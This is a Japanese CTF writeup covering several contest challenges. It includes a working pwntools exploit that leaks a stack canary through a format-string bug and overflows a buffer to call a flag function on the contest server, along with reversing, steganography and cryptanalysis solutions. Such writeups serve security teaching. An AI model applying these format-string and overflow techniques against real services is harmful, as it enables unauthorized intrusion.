この大会は2022/3/26 1:00(JST)~2022/3/28 7:00(JST)に開催されました。
今回もチームで参戦。結果は5748点で516チーム中22位でした。
自分で解けた問題をWriteupとして書いておきます。
Discord (Misc)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
wsc{w3lc0m3_70_0ur_d15c0rd}
String0 (PWN)
$ file string0 string0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=99feb550435d240c52a4bb38b4f31c300fd2337a, with debug_info, not stripped $ checksec --file string0 [*] '/mnt/hgfs/Shared/string0' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
Ghidraでデコンパイルする。
int main(void) { vuln(); return 1; } void vuln(void) { int iVar1; int in_GS_OFFSET; char buffer0 [16]; iVar1 = *(int *)(in_GS_OFFSET + 0x14); setup(); buffer0._0_4_ = 0; buffer0._4_4_ = 0; buffer0._8_4_ = 0; buffer0._12_4_ = 0; puts("What is your favorite format string?"); __isoc99_scanf(&DAT_0804a02d,buffer0); printf(buffer0); puts(""); puts("What is your favorite overflow?"); __isoc99_scanf(&DAT_0804a02d,buffer0); if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) { __stack_chk_fail_local(); } return; } void print_flag(void) { char flag [32]; flag._0_4_ = 0x7b637377; flag._4_4_ = 0x53494854; flag._8_4_ = 0x5f53495f; flag._12_4_ = 0x5f544f4e; flag._16_4_ = 0x5f454854; flag._20_4_ = 0x4c414552; flag._24_4_ = 0x414c465f; flag._28_4_ = 0x7d2147; puts(flag); /* WARNING: Subroutine does not return */ exit(0); }
FSBを使ってcanaryをLeakし、canaryを壊さないようにしてBOFでprint_flag関数を実行する。
$ ./string0 What is your favorite format string? A A What is your favorite overflow? AAAAAAAAAAAAAAAA $ ./string0 What is your favorite format string? A A What is your favorite overflow? AAAAAAAAAAAAAAAAA *** stack smashing detected ***: terminated 中止 (コアダンプ)
16バイトの入力の後、canaryがある。
$ gdb -q ./string0 Reading symbols from ./string0...done. gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x0804927d <+0>: push ebp 0x0804927e <+1>: mov ebp,esp 0x08049280 <+3>: push ebx 0x08049281 <+4>: sub esp,0x24 0x08049284 <+7>: call 0x80490f0 <__x86.get_pc_thunk.bx> 0x08049289 <+12>: add ebx,0x2d77 0x0804928f <+18>: mov eax,gs:0x14 0x08049295 <+24>: mov DWORD PTR [ebp-0xc],eax 0x08049298 <+27>: xor eax,eax 0x0804929a <+29>: call 0x80491b2 <setup> 0x0804929f <+34>: mov DWORD PTR [ebp-0x1c],0x0 0x080492a6 <+41>: mov DWORD PTR [ebp-0x18],0x0 0x080492ad <+48>: mov DWORD PTR [ebp-0x14],0x0 0x080492b4 <+55>: mov DWORD PTR [ebp-0x10],0x0 0x080492bb <+62>: sub esp,0xc 0x080492be <+65>: lea eax,[ebx-0x1ff8] 0x080492c4 <+71>: push eax 0x080492c5 <+72>: call 0x8049050 <puts@plt> 0x080492ca <+77>: add esp,0x10 0x080492cd <+80>: sub esp,0x8 0x080492d0 <+83>: lea eax,[ebp-0x1c] 0x080492d3 <+86>: push eax 0x080492d4 <+87>: lea eax,[ebx-0x1fd3] 0x080492da <+93>: push eax 0x080492db <+94>: call 0x8049090 <__isoc99_scanf@plt> 0x080492e0 <+99>: add esp,0x10 0x080492e3 <+102>: sub esp,0xc 0x080492e6 <+105>: lea eax,[ebp-0x1c] 0x080492e9 <+108>: push eax 0x080492ea <+109>: call 0x8049030 <printf@plt> 0x080492ef <+114>: add esp,0x10 0x080492f2 <+117>: sub esp,0xc 0x080492f5 <+120>: lea eax,[ebx-0x1fd0] 0x080492fb <+126>: push eax 0x080492fc <+127>: call 0x8049050 <puts@plt> 0x08049301 <+132>: add esp,0x10 0x08049304 <+135>: sub esp,0xc 0x08049307 <+138>: lea eax,[ebx-0x1fcc] 0x0804930d <+144>: push eax 0x0804930e <+145>: call 0x8049050 <puts@plt> 0x08049313 <+150>: add esp,0x10 0x08049316 <+153>: sub esp,0x8 0x08049319 <+156>: lea eax,[ebp-0x1c] 0x0804931c <+159>: push eax 0x0804931d <+160>: lea eax,[ebx-0x1fd3] 0x08049323 <+166>: push eax 0x08049324 <+167>: call 0x8049090 <__isoc99_scanf@plt> 0x08049329 <+172>: add esp,0x10 0x0804932c <+175>: nop 0x0804932d <+176>: mov eax,DWORD PTR [ebp-0xc] 0x08049330 <+179>: xor eax,DWORD PTR gs:0x14 0x08049337 <+186>: je 0x804933e <vuln+193> 0x08049339 <+188>: call 0x80493e0 <__stack_chk_fail_local> 0x0804933e <+193>: mov ebx,DWORD PTR [ebp-0x4] 0x08049341 <+196>: leave 0x08049342 <+197>: ret End of assembler dump. gdb-peda$ b *0x08049329 Breakpoint 1 at 0x8049329: file format0.c, line 30. gdb-peda$ r Starting program: /mnt/hgfs/Shared/string0 What is your favorite format string? AAAA AAAA What is your favorite overflow? BCDEFGHIJKLMNOP [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x804c000 --> 0x804bf08 --> 0x1 ECX: 0x1 EDX: 0xf7fb289c --> 0x0 ESI: 0xf7fb1000 --> 0x1d7d8c EDI: 0x0 EBP: 0xffffcfc8 --> 0xffffcfd8 --> 0x0 ESP: 0xffffcf90 --> 0x804a02d --> 0x7325 ('%s') EIP: 0x8049329 (<vuln+172>: add esp,0x10) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804931d <vuln+160>: lea eax,[ebx-0x1fd3] 0x8049323 <vuln+166>: push eax 0x8049324 <vuln+167>: call 0x8049090 <__isoc99_scanf@plt> => 0x8049329 <vuln+172>: add esp,0x10 0x804932c <vuln+175>: nop 0x804932d <vuln+176>: mov eax,DWORD PTR [ebp-0xc] 0x8049330 <vuln+179>: xor eax,DWORD PTR gs:0x14 0x8049337 <vuln+186>: je 0x804933e <vuln+193> [------------------------------------stack-------------------------------------] 0000| 0xffffcf90 --> 0x804a02d --> 0x7325 ('%s') 0004| 0xffffcf94 --> 0xffffcfac ("BCDEFGHIJKLMNOP") 0008| 0xffffcf98 --> 0xffffcfc8 --> 0xffffcfd8 --> 0x0 0012| 0xffffcf9c --> 0x804929f (<vuln+34>: mov DWORD PTR [ebp-0x1c],0x0) 0016| 0xffffcfa0 --> 0xf7fb13fc --> 0xf7fb2200 --> 0x0 0020| 0xffffcfa4 --> 0x0 0024| 0xffffcfa8 --> 0x0 0028| 0xffffcfac ("BCDEFGHIJKLMNOP") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08049329 in vuln () at format0.c:30 30 format0.c: そのようなファイルやディレクトリはありません. gdb-peda$ x/32wx $esp 0xffffcf90: 0x0804a02d 0xffffcfac 0xffffcfc8 0x0804929f 0xffffcfa0: 0xf7fb13fc 0x00000000 0x00000000 0x45444342 0xffffcfb0: 0x49484746 0x4d4c4b4a 0x00504f4e 0x70638200 0xffffcfc0: 0xf7fe5970 0x00000000 0xffffcfd8 0x08049358 0xffffcfd0: 0xf7fb1000 0xf7fb1000 0x00000000 0xf7df1fa1 0xffffcfe0: 0x00000001 0xffffd074 0xffffd07c 0xffffd004 0xffffcff0: 0x00000001 0x00000000 0xf7fb1000 0xf7fe571a 0xffffd000: 0xf7ffd000 0x00000000 0xf7fb1000 0x00000000
11番目がcanary。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('107.191.51.129', 5001) else: p = process('./string0') elf = ELF('./string0') print_flag_addr = elf.symbols['print_flag'] payload = '%11$p' data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload.encode()) data = p.recvline().rstrip().decode() print(data) canary = p32(int(data, 16)) payload = b'A' * 16 payload += canary payload += b'B' * 12 payload += p32(print_flag_addr) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to 107.191.51.129 on port 5001: Done [*] '/mnt/hgfs/Shared/string0' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) What is your favorite format string? %11$p 0xf4066e00 What is your favorite overflow? b'AAAAAAAAAAAAAAAA\x00n\x06\xf4BBBBBBBBBBBB\x0f\x92\x04\x08' wsc{W3_w4nt_m0R3_PWNS!} [*] Closed connection to 107.191.51.129 port 5001
wsc{W3_w4nt_m0R3_PWNS!}
babyre0 (Reverse)
$ strings babyre0 | grep wsc wsc{juST_a_b4By_RE!}
wsc{juST_a_b4By_RE!}
babyre1 (Reverse)
Ghidraでデコンパイルする。
void encode(char *input) { size_t sVar1; char result; int i; i = 0; while( true ) { sVar1 = strlen(input); if (sVar1 <= (ulong)(long)i) break; putchar((int)(char)(input[i] ^ 0x3b)); i = i + 1; } return; } FLAG XREF[1]: Entry Point(*) 00104060 4c 48 58 char[38] »LHX@bNdId\OO U\dOSdSU\d]dosrhF« 40 62 0b 4e 64 0f 00104060 [0] 'L', 'H', 'X', '@' 00104064 [4] 'b','\v', 'N', 'd' 00104068 [8] 0Fh, 'I','\b', 'd' 0010406c [12] '\\','\b', 'O', 'O' 00104070 [16] '\n', 'U','\\', 'd' 00104074 [20] 'O', 'S','\b', 'd' 00104078 [24] 'S', 0Fh, 'U','\\' 0010407c [28] 'd','\v', ']', 'd' 00104080 [32] 'o', 's', 'r', 'h' 00104084 [36] 1Ah, 'F'
gdbでFLAGの暗号化文字列を確認する。
$ gdb -q ./babyre1 Reading symbols from ./babyre1...done. gdb-peda$ x/40x FLAG 0x4060 <FLAG>: 0x4c 0x48 0x58 0x40 0x62 0x0b 0x4e 0x64 0x4068 <FLAG+8>: 0x0f 0x49 0x08 0x64 0x5c 0x08 0x4f 0x4f 0x4070 <FLAG+16>: 0x0a 0x55 0x5c 0x64 0x4f 0x53 0x08 0x64 0x4078 <FLAG+24>: 0x53 0x0f 0x55 0x5c 0x64 0x0b 0x5d 0x64 0x4080 <FLAG+32>: 0x6f 0x73 0x72 0x68 0x1a 0x46 0x00 0x00
この値と0x3bとXORを取ればフラグを復号できる。
#!/usr/bin/env python3 enc = [0x4c, 0x48, 0x58, 0x40, 0x62, 0x0b, 0x4e, 0x64, 0x0f, 0x49, 0x08, 0x64, 0x5c, 0x08, 0x4f, 0x4f, 0x0a, 0x55, 0x5c, 0x64, 0x4f, 0x53, 0x08, 0x64, 0x53, 0x0f, 0x55, 0x5c, 0x64, 0x0b, 0x5d, 0x64, 0x6f, 0x73, 0x72, 0x68, 0x1a, 0x46] flag = '' for c in enc: flag += chr(c ^ 0x3b) print(flag)
wsc{Y0u_4r3_g3tt1ng_th3_h4ng_0f_THIS!}
Forensics...kinda (Forensics)
$ zsteg Forensics_kinda.png b1,rgb,lsb,xy .. text: "wsc{g0_blu3}" b2,r,msb,xy .. text: ["U" repeated 248 times] b2,g,msb,xy .. text: "uUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU" b2,b,msb,xy .. text: ["U" repeated 248 times] b2,rgb,msb,xy .. text: ["U" repeated 232 times] b2,bgr,msb,xy .. text: ["U" repeated 232 times] b2,abgr,msb,xy .. text: ["W" repeated 224 times] b3,abgr,msb,xy .. file: AIX core file fulldump 64-bit b4,r,msb,xy .. text: ["w" repeated 240 times] b4,g,msb,xy .. text: ["w" repeated 240 times] b4,b,msb,xy .. file: MPEG ADTS, layer I, v2, Monaural b4,rgb,msb,xy .. text: ["w" repeated 208 times] b4,bgr,msb,xy .. file: MPEG ADTS, layer I, v2, 24 kHz, Monaural
wsc{g0_blu3}
ANYTHING (Crypto)
Vigenere暗号。https://www.dcode.fr/vigenere-cipherで復号する。鍵は「ANYTHING」を使う。
wsc{vigenere_not_bad}
RSA With The Dogs (Crypto)
eが非常に大きいため、Wiener's Attackで復号する。
#!/usr/bin/env sage from Crypto.Util.number import * def wiener(e, n): m = 12345 c = pow(m, e, n) q0 = 1 list1 = continued_fraction(Integer(e)/Integer(n)) conv = list1.convergents() for i in conv: k = i.numerator() q1 = i.denominator() for r in range(30): for s in range(30): d = r*q1 + s*q0 m1 = pow(c, d, n) if m1 == m: return d q0 = q1 return None n = 80958280137410344469270793621735550547403923964041971008952114628165974409360380289792220885326992426579868790128162893145613324338067958789899179419581085862309223717281585829617191377490590947730109453817502130283318153315193437990052156404947863059961976057429879645314342452813233368655425822274689461707 e = 3575901247532182907389411227211529824636724376722157756567776602226084740339294992167070515627141715229879280406393029563498781044157896403506408797685517148091205601955885898295742740813509895317351882951244059944509598074900130252149053360447229439583686319853300112906033979011695531155686173063061146739 c = 80629080505342932586166479028264765764709326746119909040860609021743893395577080637958779561184335633322859567681317501709922573784403504695809067898870536224427948000498261469984511352960143456934810825186736399371084350678586129000118485271831798923746976704036847707653422361120164687989605124465224952493 d = wiener(e, n) m = int(pow(c, d, n)) flag = long_to_bytes(m).decode() print(flag)
wsc{w13n3r5_wer3_bre4d_t0_hunt_b4dger5!}